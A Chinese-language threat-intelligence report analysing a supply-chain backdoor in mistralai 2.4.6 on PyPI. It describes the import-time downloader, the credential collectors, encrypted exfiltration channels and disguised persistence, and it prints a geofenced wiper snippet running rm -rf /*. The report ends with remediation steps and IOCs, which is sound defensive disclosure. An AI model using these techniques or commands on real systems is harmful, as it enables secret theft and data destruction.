2026-05-18 06:49:43 网络安全文章来源：ZONE.CI 全球网 0 阅读模式

文章总结： 慢雾团队发现MistralAI官方PythonSDKv2.4.6遭供应链投毒，攻击者入侵发布链路植入后门，用户导入模块即触发恶意代码下载远控程序，系统性窃取云凭据、SSH密钥等敏感数据，并对以色列伊朗地区设备有概率执行系统擦除，该攻击与Shai-Hulud团伙关联，建议立即验证SDK完整性并排查凭据泄露。 综合评分： 92 文章分类： 供应链安全,威胁情报,恶意软件,漏洞分析

cover_image

威胁情报｜Mistral AI 官方 SDK 供应链投毒分析

原创

慢雾安全团队慢雾安全团队

慢雾科技

2026年5月15日 19:50 中国香港

在小说阅读器读本章

去阅读

# 背景

**近日，MistEye 安全监控系统在对 PyPI 生态进行持续威胁狩猎时，捕获到 Mistral AI 官方 Python SDK 的恶意版本 mistralai-2.4.6。经深入分析，该样本并非攻击者伪造的仿冒包——用户从 PyPI 安装的确实是 mistralai 官方名下的版本，只是源码中已被植入后门。结合带毒包的可信发布形态、与 Shai-Hulud 的关联特征以及外部公开溯源信息，攻击者高度疑似通过入侵项目发布链路将恶意代码混入了正式版本。

该样本与此前慢雾安全团队披露的 Shai-Hulud 供应链投毒攻击（详见《Shai-Hulud 恶意软件深度剖析：开源即失控？》）存在直接关联——两个恶意框架使用了完全相同的 4096-bit RSA 公钥加密窃取数据，这是将二者归因至同一攻击团伙的强关联证据。

简单来说，攻击者黑入了正版 SDK 的发布链路，在 import 入口处埋了一段不到 30 行的恶意代码后照常发布。用户只要按官方文档写下 from mistralai.client import Mistral，恶意代码就会在后台静默运行：先从攻击者服务器下载一个伪装成机器学习工具的远控程序 transformers.pyz，再由该远控程序系统性搜集受害主机上的云凭据、SSH 密钥、CI/CD Token、密码管理器数据等上百类敏感信息，加密后传回攻击者手中。更危险的是，如果受害主机位于以色列或伊朗地区，远控程序还会以 1/6 的概率执行 rm -rf /*，直接摧毁整个系统。

受影响环境包括 Linux 开发机、CI/CD 流水线、容器化环境、后端服务器以及 AI/ML 训练集群。

MistEye 安全团队对该恶意包的全部源码（一阶段 79+ 个文件，二阶段 14 个文件）进行了完整的逐行分析，并对 Shai-Hulud 样本做了关联比对，以下为详细分析结果。**

MistEye 响应

MistEye 是由 SlowMist 自主研发的 Web3 威胁情报与动态安全监控系统，集成了安全监控与情报聚合能力，为用户提供实时的风险预警与资产守护。

在捕获本次 Mistral AI SDK 遭入侵的恶意版本后，MistEye 系统已触发高危告警并对整条攻击链进行了完整还原。通过对恶意包源码和后续远控程序的逐行分析，我们定位了隐藏在主入口的恶意下载器，提取了攻击者服务器的 IP 地址和文件路径等关键情报，并在拿到远控程序样本后进一步分析了其窃密、破坏和持久化等完整功能。相关情报已向客户推送高危告警。

攻击链条总览

在深入分析代码之前，先大概讲解一下整条攻击链的四个环节：

1. 埋入入口 → 攻击者将恶意代码混入正版 SDK 的 import 入口并照常发布。用户安装后只要导入模块就会触发。

2. 下载远控 → 恶意代码在后台静默下载一个伪装成机器学习工具的程序(transformers.pyz)。

3. 搜集数据 → 这个远控程序运行后，系统性地扫描并搜集受害电脑上的云凭据、SSH 密钥、CI/CD Token、密码管理器数据等上百类敏感信息，加密后传回攻击者服务器。

4. 区域破坏 → 如果受害电脑位于以色列或伊朗，远控程序会以 1/6 的概率执行 rm -rf / 摧毁系统；否则部署持久化服务，长期潜伏。

下面分章节详细拆解每个环节的技术细节。

第一步：恶意入口 —— 导入即触发

攻击者修改的唯一关键文件是 src/mistralai/client/__init__.py。这个文件是整个 SDK 的主入口——官方 README 里所有示例代码的第一行都是 from mistralai.client import Mistral，因此任何按文档正常使用的开发者都会第一时间触发恶意逻辑。

攻击者在文件末尾塞进了一个名为 _run_background_task() 的函数，并在模块加载时直接调用。完整代码如下：

这段不到 30 行的代码虽然短，但每一行都有明确目的，逐行拆解如下：

第 6 行 —— 限定 Linux 且不重复触发

函数首先检查两个条件：当前系统是不是 Linux (sys.platform.startswith(“linux”))，以及环境变量里有没有 MISTRAL_INIT。只有 Linux 系统且没有这个标记的进程才会继续执行。这意味着，Windows 和 macOS 用户完全不会受影响——攻击者特意瞄准了最有价值的 Linux 服务器和 CI/CD 环境。通过后立即在第 9 行写入 MISTRAL_INIT=1，并且这个标记会在第 23 行传给子进程，防止重复下载。

第 10-11 行 —— 硬编码攻击者服务器地址

两个关键信息被直接写在代码里：下载地址 https://83.142.209.194/transformers.pyz，落地路径 /tmp/transformers.pyz。攻击者用 IP 地址而不是域名，是为了绕开基于域名的信誉检查和安全扫描。文件名 transformers.pyz 也经过了精心挑选——HuggingFace 的 transformers 是机器学习领域最常用的库之一，在 AI 开发环境里出现这个名字的文件完全不会引起怀疑。

第 15 行 —— 静默下载

下载命令是 curl -k -L -s，其中三个参数各有目的：-k 跳过 SSL 证书校验，让自签名或过期证书也能用；-L 跟随 HTTP 重定向；-s 是静默模式，不打印任何进度信息。末尾的 timeout=15 设置了 15 秒超时，万一网络有问题也不会让用户的 import 语句卡住太久，避免引起怀疑。

第 18-24 行 —— 后台启动远控程序

下载完成后，用 subprocess.Popen 启动这个远控程序。两个关键隐蔽措施：第 20-21 行把标准输出和标准错误全部扔进 DEVNULL（黑洞），远控程序运行时屏幕上什么都看不到；第 22 行 start_new_session=True 让远控程序脱离当前进程组独立运行——就算用户关掉终端、断开 SSH，远控程序也照样在后台跑。

第 25-26 行 —— 吞掉所有异常

try/except: pass 是最狠的一手——不管发生什么错误（curl 没装、网络不通、下载失败、Python 版本不对），用户都不会看到任何报错信息。你的 SDK 一切正常，而恶意代码要么已经成功跑了，要么悄无声息地失败了——你永远不知道。

第二步：双面远控程序 —— 明修栈道，暗藏杀机

一阶段代码下载的 transformers.pyz 是一个独立的 Python 程序包，解压后包含 14 个源文件，结构如下：

这个程序启动后会先做一组”体检”，然后分两条路走：

1. 绝大多数情况：按正常流程，搜集数据 → 加密打包 → 传回攻击者服务器 → 部署持久化服务留在系统里长期潜伏。

2. 极少数情况：如果发现受害电脑位于以色列或伊朗，则以 1/6 概率触发 rm -rf / 摧毁系统，同时用最大音量播放一段音频。

下面分三个章节详细展开：启动时的自保护机制、数据搜集与加密外传流程、以及最后的地理围栏破坏逻辑。

第三步：启动前的自保护 —— 环境检查、反沙箱、自装依赖

# 远控程序启动后（__main__.py），会先做如下检查，任何一条不满足就直接退出：

1. 不是 Linux？退出。

2. 系统语言是俄语（LANG 环境变量以 ru 开头）？退出。

3. CPU 核心数 ≤ 2？退出。这是典型的反沙箱手段——大多数自动分析沙箱只分配 1-2 个核心。

4. 缺少 cryptography 加密库？自动执行 pip install cryptography –break-system-packages，静默装好。

其中第 2 条的俄语规避和第 3 条的 CPU 检测都指向攻击者有意识地在躲避特定区域的安全团队和自动化分析系统。

完整代码如下：

第四步：数据窃取 —— 七个采集器覆盖上百类敏感信息

通过环境检测后，aggregate.py 会并发启动 collectors/ 目录下的全部 7 个采集模块，对受害主机进行系统性的敏感数据收割。以下是每个采集器的具体行为：

AWS 采集器(collectors/aws.py)

先从环境变量和 ~/.aws/credentials 文件读取访问密钥，还会尝试从 EC2 实例的元数据服务（169.254.169.254）获取临时凭据。拿到密钥后，以 15 线程并发遍历 19 个 AWS 区域（含美国政府云 GovCloud），逐一调用 AWS Secrets Manager 的 GetSecretValue 和 SSM Parameter Store 的 GetParameter（解密模式），把能碰到的所有 Secret 和参数全部读出来。

Azure 采集器(collectors/azure.py)

支持四种方式获取 Azure 凭据：环境变量里的 Client Secret、服务主体证书认证(JWT bearer assertion)、Azure CLI 本地缓存、以及云实例的托管身份(Managed Identity)。拿到凭据后，通过 Azure Resource Manager API 列出所有订阅下的 Key Vault，逐个读取每个 Vault 里的全部 Secret 值。

GCP 采集器(collectors/gcp.py)

同样支持多种凭据来源：Service Account JSON 文件的 JWT 签名认证、刷新令牌交换、Application Default Credentials 文件、以及 GCE 实例的元数据端点。拿到凭据后，枚举 GCP Secret Manager 中的全部 Secret 并自动解密。

Kubernetes 采集器(collectors/kubernetes.py)

这个采集器设计得很完备：它内置了一个手写的 YAML 解析器，可以直接解析 kubeconfig 文件里的多集群配置；还支持 In-cluster RBAC token 认证和直接调用 K8s HTTP API。如果系统里没装 kubectl，它会自己从 https://dl.k8s.io/release/v1.28.0/bin/linux/{arch}/kubectl 下载一个。拿到权限后，遍历所有命名空间下的所有 Secret。

文件系统采集器(collectors/filesystem.py)

这是覆盖面最广的模块，内置了约 100 个敏感文件路径，涵盖：Git 凭据(.gitconfig、.git-credentials)、Docker 配置(~/.docker/config.json)、各类包管理器注册表 token (npm、PyPI、Cargo、Composer)、云平台凭据文件(AWS、GCP、Azure CLI)、SSH 私钥目录（~/.ssh/ 下所有文件）、Terraform 和 Pulumi 的 state 文件（常含明文密钥）、CI/CD 平台配置（CircleCI、Heroku、Netlify、Vercel、Cloudflare、Railway 等十余个）、VPN 配置(Tailscale、WireGuard)、Shell 历史记录(.bash_history、.zsh_history)，以及 Claude Desktop、VSCode、Cursor 等 AI 编码工具的 MCP 配置文件。此外，该模块还会通过 Docker socket 直接通信，采集所有运行中容器的环境变量。

密码管理器采集器(collectors/passwords.py)

如果你的电脑上装了 1Password、Bitwarden、pass 或 gopass 这四款密码管理器中的任何一款，这个采集器会通过它们的命令行工具(op、bw、pass、gopass) 直接读取存储的全部密码条目。前提是你已经解锁了对应的密码管理器——但考虑到开发者日常使用的场景，密码管理器处于解锁状态并不罕见。

HashiCorp Vault 采集器(collectors/vault.py)

从四个来源尝试获取 Vault Token：VAULT_TOKEN 环境变量、~/.vault-token 文件、AppRole 认证、以及 vault CLI 已登录会话。拿到 Token 后，递归遍历所有 KV 引擎（v1 和 v2 均支持）下的全部密钥路径。

第五步：加密防截获，三条路径确保数据传回

窃取只是第一步，把数据传到攻击者手里同样关键。entrypoint.py 的做法是先把数据加密到无法被第三方解开，再通过多条备用路径确保传输成功——即使某条路径被封堵，也有替代方案。

加密封装流程：

采集数据(JSON) → gzip 压缩 → 随机生成 AES-256 密钥 + 12 字节随机 IV → AES-256-GCM 加密压缩数据 → 用攻击者的 4096-bit RSA 公钥把 AES 密钥包一层(OAEP-SHA256) → 打包发送

注意这个加密流程是单向的：攻击者把 RSA 公钥硬编码在 config.py 里，只有攻击者手里才有对应的私钥。即使安全团队截获了外传的数据包，没有攻击者的 RSA 私钥也无法解开 AES 密钥，更无法解密里面的内容。

外传通道的三条路径：

entrypoint.py 在发送数据时采用了层层递进的容错策略：

1. 主通道(/v1/weights)：直接把加密包 POST 到攻击者服务器的 https://83.142.209.194/v1/weights。如果这个地址被墙了？

2. 备用通道（FIRESCALE 协议）：程序会去搜 GitHub 公开 commit 的历史记录，找有没有人提交过含 FIRESCALE . 这种特殊格式的消息。如果找到了，它会用硬编码的 RSA 公钥验证这段消息的签名——签名通过就说明这确实是攻击者本人留下的。接着，解码出里面的备用服务器地址，往那边再试一次。这意味着攻击者可以在不修改恶意代码的情况下，随时在 GitHub 上发一条带签名的 commit 就能更换接收地址。

3. GitHub 兜底通道：如果前两层都失败了，程序会从已窃取的数据里反查有没有 GitHub Token（ghp_ 或 github_pat_ 格式）——也就是前面文件系统采集器从 ~/.config/gh/hosts.yml 和 gh auth token 里拿到的那些。找到后，用这个 Token 在 GitHub 上创建一个公开仓库，把加密数据当作一个叫 results.json 的文件传上去。有意思的是，它创建的仓库名由 30 个俄罗斯童话和民间传说中的词汇随机组合而成，例如 BABA-YAGA-KOSCHEI-742、VASSILISA-FIREBIRD-309。这种命名方式不仅是攻击者的”个人风格签名”，也为后续研究人员做关联分析提供了线索。

此外，程序启动时还会先访问一次 https://83.142.209.194/v1/models。如果攻击者在这个端点返回了内容，程序会直接将它当作一段新的恶意代码来执行——这意味着攻击者保留了随时向已感染主机下发新指令的能力。

第六步：地理围栏与擦除器 —— 特定区域的受害者面临的不只是窃密

远控程序中最具破坏力的模块是 roulette.py。它同时负责两个相反的任务：对绝大多数受害者部署长期潜伏的持久化服务，对极少数特定地区的受害者则直接毁灭系统。

如何判断受害者所在的区域？

_is_israeli_system() 函数通过五个维度交叉判断：

1. TZ 环境变量里有没有 Jerusalem、Tel_Aviv 或 Tehran

2. /etc/timezone 文件内容

3. /etc/localtime 二进制内容

4. LANG / LC_ALL / LC_MESSAGES 环境变量是否以 he_IL（希伯来语）或 fa_IR（波斯语）开头

5. Python 系统接口 locale.getdefaultlocale() 的返回值

这五个维度涵盖了环境变量、系统文件、locale 接口三个层面，任意一项命中就判定为目标区域。

1/6 的死亡转盘：

roll = random.randint(1, 6)  if _is_israeli_system() and roll == 2:         play_at_full_volume(config.RUN_FOR_COVER, "RunForCover.mp3")         subprocess.run(["rm", "-rf", "/*"])        return

源代码的逻辑是：如果系统被判定为以色列或伊朗，程序掷一个 1 到 6 的骰子。只有掷到 2 才会触发破坏——也就是 1/6 的概率。触发时，程序会先从攻击者服务器下载一个名为 RunForCover.mp3 的音频文件，用 pactl 把系统音量调到 100%、取消静音，然后用 mpv 开始播放。与此同时，执行 rm -rf /*。这个用最大音量播放音乐同时毁灭系统的行为模式，在实践中是一种极少见的操作。

为什么是 1/6 而不是每次都触发？一个合理的推测是：攻击者想降低在沙箱或自动分析环境里触发破坏的概率（大多数自动系统只跑一次），但在真实受害集群中，多次感染总会触发。

非目标区域的长期潜伏：

如果受害者不在以色列或伊朗（绝大多数情况），程序会转而执行 deploy_local()，将持久化组件部署到系统里：

• 如果你有 root 权限：写入 /usr/bin/pgmonitor.py，注册 systemd 服务 /etc/systemd/system/pgsql-monitor.service

• 如果你没有 root 权限：写入 ~/.local/bin/pgmonitor.py，注册用户级 systemd 服务 ~/.config/systemd/user/pgsql-monitor.service

systemd 服务配置了 Restart=always，意味着这个恶意程序会在系统重启后自动复活。文件名 pgmonitor.py 和 pgsql-monitor.service 刻意模仿 PostgreSQL 数据库监控组件，在运维环境里很容易被当作正常服务忽略。

伪装层次总览

回顾整条攻击链，攻击者在三个层面都做了精心伪装：

# 关联样本：同一把 RSA 公钥牵出的幕后团伙

在对 transformers.pyz 的静态分析中，我们注意到其 config.py 硬编码了一个 4096-bit RSA 公钥。在后续的样本关联比对中，我们发现这个公钥并非首次出现——慢雾安全团队此前披露的 Shai-Hulud 供应链投毒框架（详见《Shai-Hulud 恶意软件深度剖析：开源即失控？》）中，使用了完全相同的 RSA 公钥。

Shai-Hulud 是一个基于 TypeScript 编写的供应链攻击框架（包名 voicefromtheouterworld）。除 RSA 公钥相同这一核心技术证据外，对比两个样本的工程结构，它们在采集模块划分、加密流程、并发调度等方面也呈现出高度相似的设计思路：

此外，两个框架的加密流程相同：采集结果 → gzip 压缩 → AES-256-GCM 随机密钥加密 → 同一 RSA 公钥 OAEP 封装对称密钥 → 发送。其中 RSA 公钥完全一致是最关键的关联证据。

更值得注意的是，Shai-Hulud 在基础窃密功能之上还多了一层主动投毒扩散能力，transformers.pyz 没有这部分功能：

• NPM 发布模块(mutator/npm/publish.ts)：利用窃取的 NPM Token 发布恶意包

• OIDC 滥用模块(mutator/npmoidc/)：通过 GitHub Actions OIDC 凭证冒用 CI 身份发布包

• 仓库注入模块(mutator/branch/)：在 GitHub 仓库中创建分支或 PR，向合法项目注入恶意代码

• GitHub Actions Secret 窃取(providers/actions/)：专门针对 CI/CD 流水线中的加密 Secret

为什么这把公钥是关键证据？

数据加密用的是”公钥加密，私钥解密”的非对称加密模型。公钥负责加密，私钥负责解密。攻击者把同一个公钥硬编码在两个不同的恶意框架里，意味着所有被这两个框架窃取的数据，最终都必须用同一把私钥来解开。这把私钥只可能由同一个攻击团伙持有。因此，共享公钥不是巧合，而是同一团伙运营两个并行恶意框架的技术指纹。

从攻击体系的角度来理解，Shai-Hulud 和 transformers.pyz 很可能是这个团伙的两把”刀”，各有分工：

mistralai-2.4.6 正是攻击者通过 Shai-Hulud 框架入侵 Mistral AI 项目的 GitHub Actions CI/CD 流水线后，利用窃取的 OIDC 凭证通过项目的可信发布通道推送的带毒版本。这也解释了为什么该包能通过 PyPI 的正常发布校验——因为它使用的就是项目本身的受信发布凭证。

# 总结

本次捕获的 mistralai-2.4.6 攻击事件不是孤立的——它是一起由同一攻击团伙精心构造的、横跨 PyPI 和 NPM 两大生态的复合供应链投毒活动的一个分支。其核心特点可以概括为四个”巧妙”和一个”极端”：

巧妙的入口设计。攻击者不在包里放木马文件，不在依赖里做手脚，只在 import 入口塞了不到 30 行代码。这 30 行代码本身没有窃密、没有破坏，唯一做的事情就是下载另一个程序——静态扫描极难判定为恶意。

巧妙的伪装策略。远控文件名仿 HuggingFace transformers，持久化服务名仿 PostgreSQL 监控——两个层面的命名全都选在了 AI/ML 开发者最熟悉、最不会起疑心的词汇上。而包本身是正版 SDK 遭入侵后植入后门，利用用户对官方包的信任来绕过安检。

巧妙的外传工程。数据经过 gzip 压缩、AES-256 随机密钥加密、RSA-4096 公钥封装的完整加密封装，即使传输被截获也无法解密。外传通道设了三层容错：主 C2 → GitHub 签名 commit 动态发现备用 C2 → 利用受害者自己的 GitHub Token 上传，每一步都有 Plan B。

巧妙的双轨作战。 Shai-Hulud (TypeScript) 和 transformers.pyz (Python) 两个恶意框架使用了同一把 4096-bit RSA 公钥，这是关联两个样本的核心技术证据——同一私钥持有者才能解密两套框架窃取的数据。两个框架在采集模块、加密流程、俄语规避等设计上呈现高度相似的工程思维，但各自侧重点不同：Shai-Hulud 侧重窃密和 NPM 投毒扩散，transformers.pyz 侧重窃密和区域破坏，覆盖了两种攻击场景和两类包生态。结合 Shai-Hulud 已知具备的 CI/CD 凭据滥用能力与本次样本的官方发布形态，mistralai-2.4.6 很可能是这套双轨作战体系下的直接产物。

极端的区域破坏。这是本案例最不寻常的地方。供应链投毒案件通常以窃密或勒索为目的，但这次攻击同时携带了一个 1/6 概率触发的 rm -rf /\* 擦除器，且目标区域精准锁定以色列和伊朗，同时主动规避俄语环境。这种”窃密 + 破坏 + 区域选择”的三合一模式在当前的供应链攻击案例库中十分罕见。

建议:

1. 若曾在 Linux 环境中安装过 mistralai==2.4.6，请立即将该主机断网，按”已沦陷”级别进行处置。

2. 轮换该主机上所有可接触的凭据：API Key、云访问密钥(AWS/Azure/GCP)、CI/CD Token、SSH 私钥、密码管理器主密码、数据库密码。

3. 检查主机上是否存在以下文件：/tmp/transformers.pyz、/usr/bin/pgmonitor.py 或 ~/.local/bin/pgmonitor.py、RunForCover.mp3。若存在，立即保全取证并隔离主机。

4. 执行 systemctl status pgsql-monitor.service 和 systemctl –user status pgsql-monitor.service，检查是否有恶意持久化服务在运行。

5. 在出网防火墙上阻断 IP 83[.]142[.]209[.]194 的所有连接。在日志/SIEM 中回溯相关 IOC。

6. 对受影响的容器或虚拟机执行完整重建，不要仅删除恶意文件后继续使用。

7. 排查内部 PyPI 镜像和制品库是否缓存了该恶意版本，防止横向污染。

IOC

83[.]142[.]209[.]194

URL

https[:]//83[.]142[.]209[.]194/transformers.pyz

https[:]//83[.]142[.]209[.]194/v1/models

https[:]//83[.]142[.]209[.]194/v1/weights

https[:]//83[.]142[.]209[.]194/audio.mp3

恶意依赖

mistralai==2.4.6

恶意文件

filename: mistralai-2.4.6–6dbaa43bf2f3.tgz

MD5: 94dbce1e6dd19886a253a1c5fc0abbb0

SHA1: d4583b83b8213add7558ba568b287e65d5a06d47 SHA256: 6dbaa43bf2f3c0d3cddbca74967e952da563fb974c1ef9d4ecbb2e58e41fe81b

filename: transformers.pyz

SHA256: 5245eb032e336b85cff0dbb3450d591826bf2ef214fd30d7eba1a763664e151b

本文由 SlowMist 威胁情报团队结合 MistEye 威胁情报系统、SlowMist Agent AI驱动分析编写，有任何问题欢迎咨询反馈。

往期回顾

被黑分析 | ShapeShift FOX Colony 授权信任链缺陷

Shai-Hulud 恶意软件深度剖析：开源即失控？

MistEye 安全前置闸门正式发布，筑牢 AI Agent 前置检测防线

威胁情报｜仿冒 TronLink 的 Chrome 扩展钓鱼攻击分析

慢雾｜RWA 智能合约安全审计服务正式推出

慢雾导航

慢雾科技官网

https://www.slowmist.com/

慢雾区官网

https://slowmist.io/

慢雾 GitHub

https://github.com/slowmist

Telegram

https://t.me/slowmistteam

Twitter

https://twitter.com/@slowmist_team

Medium

https://medium.com/@slowmist

知识星球

https://t.zsxq.com/Q3zNvvF

免责声明：

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景，旨在提升网络安全防护能力，具有明确的技术研究属性。

任何单位或个人未经授权，将本文内容用于攻击、破坏等非法用途的，由此引发的全部法律责任、民事赔偿及连带责任，均由行为人独立承担，本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布，若存在版权侵权或其他异议，请通过邮件联系处理，具体联系方式可点击页面上方的联系我。

本文转载自：慢雾科技慢雾安全团队慢雾安全团队《威胁情报｜Mistral AI 官方 SDK 供应链投毒分析》